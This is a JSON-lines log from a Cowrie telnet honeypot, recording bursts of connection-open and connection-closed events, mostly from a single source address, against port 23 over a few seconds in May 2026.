{"eventid":"cowrie.session.closed","duration":31.88420295715332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:41.937567Z","src_ip":"51.161.172.108","session":"36998732e85f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.902252197265625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:41.989013Z","src_ip":"51.161.172.108","session":"6c4d000da5aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.679940700531006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:42.020083Z","src_ip":"51.161.172.108","session":"f8c18a0379e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60374,"dst_ip":"159.203.135.109","dst_port":23,"session":"f61f5922dd04","protocol":"telnet","message":"New connection: 51.161.172.108:60374 (159.203.135.109:23) [session: f61f5922dd04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:42.127879Z"}
{"eventid":"cowrie.session.closed","duration":30.697261571884155,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:42.388654Z","src_ip":"51.161.172.108","session":"d705f65dc021","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60406,"dst_ip":"159.203.135.109","dst_port":23,"session":"02321ff7928c","protocol":"telnet","message":"New connection: 51.161.172.108:60406 (159.203.135.109:23) [session: 02321ff7928c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:42.464342Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60410,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfe424107d3c","protocol":"telnet","message":"New connection: 51.161.172.108:60410 (159.203.135.109:23) [session: cfe424107d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:42.474774Z"}
{"eventid":"cowrie.session.closed","duration":31.107824325561523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:42.485185Z","src_ip":"51.161.172.108","session":"dc7b8b29738d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60426,"dst_ip":"159.203.135.109","dst_port":23,"session":"db7668797bcf","protocol":"telnet","message":"New connection: 51.161.172.108:60426 (159.203.135.109:23) [session: db7668797bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:42.618065Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60452,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b24014bfc41","protocol":"telnet","message":"New connection: 51.161.172.108:60452 (159.203.135.109:23) [session: 8b24014bfc41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:42.694492Z"}
{"eventid":"cowrie.session.closed","duration":31.10512685775757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:42.915982Z","src_ip":"51.161.172.108","session":"5834b27853b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.759618282318115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:43.019676Z","src_ip":"51.161.172.108","session":"e900d1a38649","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.545313358306885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:43.089631Z","src_ip":"45.10.154.244","session":"ecf45f75e6a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60340,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f8268a17da4","protocol":"telnet","message":"New connection: 51.161.172.108:60340 (159.203.135.109:23) [session: 0f8268a17da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:43.145510Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60370,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b981949e62c","protocol":"telnet","message":"New connection: 51.161.172.108:60370 (159.203.135.109:23) [session: 8b981949e62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:43.218443Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60516,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecaf2756ed56","protocol":"telnet","message":"New connection: 51.161.172.108:60516 (159.203.135.109:23) [session: ecaf2756ed56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:43.233967Z"}
{"eventid":"cowrie.session.closed","duration":30.712758779525757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:43.276737Z","src_ip":"51.161.172.108","session":"4ad9983732ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60386,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c64660033c1","protocol":"telnet","message":"New connection: 51.161.172.108:60386 (159.203.135.109:23) [session: 2c64660033c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:43.281778Z"}
{"eventid":"cowrie.session.closed","duration":32.526137828826904,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:43.591111Z","src_ip":"51.161.172.108","session":"cb5f4451b845","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60574,"dst_ip":"159.203.135.109","dst_port":23,"session":"d63fbda2b3a9","protocol":"telnet","message":"New connection: 51.161.172.108:60574 (159.203.135.109:23) [session: d63fbda2b3a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:43.598275Z"}
{"eventid":"cowrie.session.closed","duration":31.438933849334717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:43.646648Z","src_ip":"51.161.172.108","session":"2d0afb35d137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.389764070510864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:43.684283Z","src_ip":"51.161.172.108","session":"f13ae28ab6aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.726699590682983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:43.843243Z","src_ip":"51.161.172.108","session":"de9fd0d5f176","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60600,"dst_ip":"159.203.135.109","dst_port":23,"session":"42e03e8b7bfd","protocol":"telnet","message":"New connection: 51.161.172.108:60600 (159.203.135.109:23) [session: 42e03e8b7bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:43.916005Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60624,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7a5d39a58e2","protocol":"telnet","message":"New connection: 51.161.172.108:60624 (159.203.135.109:23) [session: f7a5d39a58e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:43.933256Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60632,"dst_ip":"159.203.135.109","dst_port":23,"session":"42de0350f180","protocol":"telnet","message":"New connection: 51.161.172.108:60632 (159.203.135.109:23) [session: 42de0350f180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:43.943216Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60650,"dst_ip":"159.203.135.109","dst_port":23,"session":"e36468b44788","protocol":"telnet","message":"New connection: 51.161.172.108:60650 (159.203.135.109:23) [session: e36468b44788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:43.986417Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60714,"dst_ip":"159.203.135.109","dst_port":23,"session":"958772a71273","protocol":"telnet","message":"New connection: 51.161.172.108:60714 (159.203.135.109:23) [session: 958772a71273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:44.012011Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":55020,"dst_ip":"10.17.0.5","dst_port":23,"session":"7648e2d6d883","protocol":"telnet","message":"New connection: 45.10.154.244:55020 (10.17.0.5:23) [session: 7648e2d6d883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:44.072290Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60786,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c6597195764","protocol":"telnet","message":"New connection: 51.161.172.108:60786 (159.203.135.109:23) [session: 8c6597195764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:44.460454Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60794,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee3a4bf260bc","protocol":"telnet","message":"New connection: 51.161.172.108:60794 (159.203.135.109:23) [session: ee3a4bf260bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:44.522184Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60822,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a1601ce5642","protocol":"telnet","message":"New connection: 51.161.172.108:60822 (159.203.135.109:23) [session: 1a1601ce5642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:44.613615Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60824,"dst_ip":"159.203.135.109","dst_port":23,"session":"89e9ad027515","protocol":"telnet","message":"New connection: 51.161.172.108:60824 (159.203.135.109:23) [session: 89e9ad027515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:44.633614Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60730,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cc1fb77442d","protocol":"telnet","message":"New connection: 51.161.172.108:60730 (159.203.135.109:23) [session: 3cc1fb77442d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.068943Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60698,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d3d78a17eca","protocol":"telnet","message":"New connection: 51.161.172.108:60698 (159.203.135.109:23) [session: 4d3d78a17eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.099441Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60836,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6e52cd5505d","protocol":"telnet","message":"New connection: 51.161.172.108:60836 (159.203.135.109:23) [session: d6e52cd5505d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.139769Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60746,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f2afb18f62c","protocol":"telnet","message":"New connection: 51.161.172.108:60746 (159.203.135.109:23) [session: 4f2afb18f62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.191934Z"}
{"eventid":"cowrie.session.closed","duration":30.617988109588623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.198312Z","src_ip":"51.161.172.108","session":"3bc098b94b44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.998682975769043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.312400Z","src_ip":"51.161.172.108","session":"622cfb572423","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24248456954956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.349498Z","src_ip":"51.161.172.108","session":"4040f69dc27b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.819528102874756,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.360032Z","src_ip":"167.99.38.72","session":"139b97794ae7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43885111808777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.365412Z","src_ip":"51.161.172.108","session":"0ebd9a70c5f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.270918607711792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.435801Z","src_ip":"51.161.172.108","session":"1751a5f6afcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60848,"dst_ip":"159.203.135.109","dst_port":23,"session":"adc92d617b14","protocol":"telnet","message":"New connection: 51.161.172.108:60848 (159.203.135.109:23) [session: adc92d617b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.465842Z"}
{"eventid":"cowrie.session.closed","duration":31.515719890594482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.518451Z","src_ip":"51.161.172.108","session":"f68aca0bfd3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60850,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb6e05e0bf91","protocol":"telnet","message":"New connection: 51.161.172.108:60850 (159.203.135.109:23) [session: eb6e05e0bf91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.585721Z"}
{"eventid":"cowrie.session.closed","duration":30.965572357177734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.672843Z","src_ip":"51.161.172.108","session":"9cccb3fb71cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.627322673797607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.754027Z","src_ip":"51.161.172.108","session":"cf0582f4ede8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60862,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9de073ed153","protocol":"telnet","message":"New connection: 51.161.172.108:60862 (159.203.135.109:23) [session: e9de073ed153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.783919Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60884,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ed946d3a92d","protocol":"telnet","message":"New connection: 51.161.172.108:60884 (159.203.135.109:23) [session: 9ed946d3a92d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.788514Z"}
{"eventid":"cowrie.session.closed","duration":31.84337830543518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.809558Z","src_ip":"51.161.172.108","session":"955a5ce25a20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21522068977356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.818350Z","src_ip":"51.161.172.108","session":"c2112cb10134","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60930,"dst_ip":"159.203.135.109","dst_port":23,"session":"cad3b3db8c2e","protocol":"telnet","message":"New connection: 51.161.172.108:60930 (159.203.135.109:23) [session: cad3b3db8c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.960612Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60916,"dst_ip":"159.203.135.109","dst_port":23,"session":"04f73c99c483","protocol":"telnet","message":"New connection: 51.161.172.108:60916 (159.203.135.109:23) [session: 04f73c99c483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.966886Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60834,"dst_ip":"159.203.135.109","dst_port":23,"session":"b02a1625345e","protocol":"telnet","message":"New connection: 51.161.172.108:60834 (159.203.135.109:23) [session: b02a1625345e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:45.970842Z"}
{"eventid":"cowrie.session.closed","duration":31.62108063697815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:46.042834Z","src_ip":"51.161.172.108","session":"bddfcd5b207e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60984,"dst_ip":"159.203.135.109","dst_port":23,"session":"54bf3570c3ad","protocol":"telnet","message":"New connection: 51.161.172.108:60984 (159.203.135.109:23) [session: 54bf3570c3ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:46.259195Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":35632,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e1d04732abe","protocol":"telnet","message":"New connection: 45.10.154.244:35632 (10.17.0.5:23) [session: 4e1d04732abe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:46.444272Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32810,"dst_ip":"159.203.135.109","dst_port":23,"session":"47bd025119dc","protocol":"telnet","message":"New connection: 51.161.172.108:32810 (159.203.135.109:23) [session: 47bd025119dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:46.516784Z"}
{"eventid":"cowrie.session.closed","duration":31.746541738510132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:46.605206Z","src_ip":"51.161.172.108","session":"7e6f5115b981","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32820,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0eb9ec69876","protocol":"telnet","message":"New connection: 51.161.172.108:32820 (159.203.135.109:23) [session: e0eb9ec69876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:46.635340Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32868,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbc452a2f9a4","protocol":"telnet","message":"New connection: 51.161.172.108:32868 (159.203.135.109:23) [session: dbc452a2f9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:46.735984Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32892,"dst_ip":"159.203.135.109","dst_port":23,"session":"cddaf5d5edaa","protocol":"telnet","message":"New connection: 51.161.172.108:32892 (159.203.135.109:23) [session: cddaf5d5edaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:46.806501Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32886,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa8b003fcf72","protocol":"telnet","message":"New connection: 51.161.172.108:32886 (159.203.135.109:23) [session: aa8b003fcf72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:46.889909Z"}
{"eventid":"cowrie.session.closed","duration":31.124215364456177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:47.160993Z","src_ip":"51.161.172.108","session":"a1ff2d59a988","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0320885181427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:47.264867Z","src_ip":"51.161.172.108","session":"ae14d105c0e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32946,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a53914dfe42","protocol":"telnet","message":"New connection: 51.161.172.108:32946 (159.203.135.109:23) [session: 6a53914dfe42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:47.278197Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60994,"dst_ip":"159.203.135.109","dst_port":23,"session":"91f316b2f372","protocol":"telnet","message":"New connection: 51.161.172.108:60994 (159.203.135.109:23) [session: 91f316b2f372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:47.400575Z"}
{"eventid":"cowrie.session.closed","duration":31.281957387924194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:47.411090Z","src_ip":"51.161.172.108","session":"bea9a943a7a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32996,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fd4e0f2aeeb","protocol":"telnet","message":"New connection: 51.161.172.108:32996 (159.203.135.109:23) [session: 4fd4e0f2aeeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:47.578293Z"}
{"eventid":"cowrie.session.closed","duration":31.060711145401,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:47.670489Z","src_ip":"51.161.172.108","session":"02be5d1aacbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33076,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfba0d17cfa7","protocol":"telnet","message":"New connection: 51.161.172.108:33076 (159.203.135.109:23) [session: dfba0d17cfa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:47.821456Z"}
{"eventid":"cowrie.session.closed","duration":32.08190441131592,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:48.018295Z","src_ip":"51.161.172.108","session":"182062f7307d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.54892086982727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:48.392868Z","src_ip":"51.161.172.108","session":"642a2f23e732","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":44314,"dst_ip":"10.17.0.5","dst_port":23,"session":"e959876b17aa","protocol":"telnet","message":"New connection: 45.10.154.244:44314 (10.17.0.5:23) [session: e959876b17aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:48.721386Z"}
{"eventid":"cowrie.session.closed","duration":31.92796301841736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:48.728050Z","src_ip":"51.161.172.108","session":"b311fa667dc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33092,"dst_ip":"159.203.135.109","dst_port":23,"session":"33d9e6acfee6","protocol":"telnet","message":"New connection: 51.161.172.108:33092 (159.203.135.109:23) [session: 33d9e6acfee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:48.875022Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33062,"dst_ip":"159.203.135.109","dst_port":23,"session":"1da148dd0f1d","protocol":"telnet","message":"New connection: 51.161.172.108:33062 (159.203.135.109:23) [session: 1da148dd0f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:48.880778Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33228,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aa6512b4dfe","protocol":"telnet","message":"New connection: 51.161.172.108:33228 (159.203.135.109:23) [session: 1aa6512b4dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:48.885940Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33122,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f54ccfb1aa4","protocol":"telnet","message":"New connection: 51.161.172.108:33122 (159.203.135.109:23) [session: 6f54ccfb1aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:48.934185Z"}
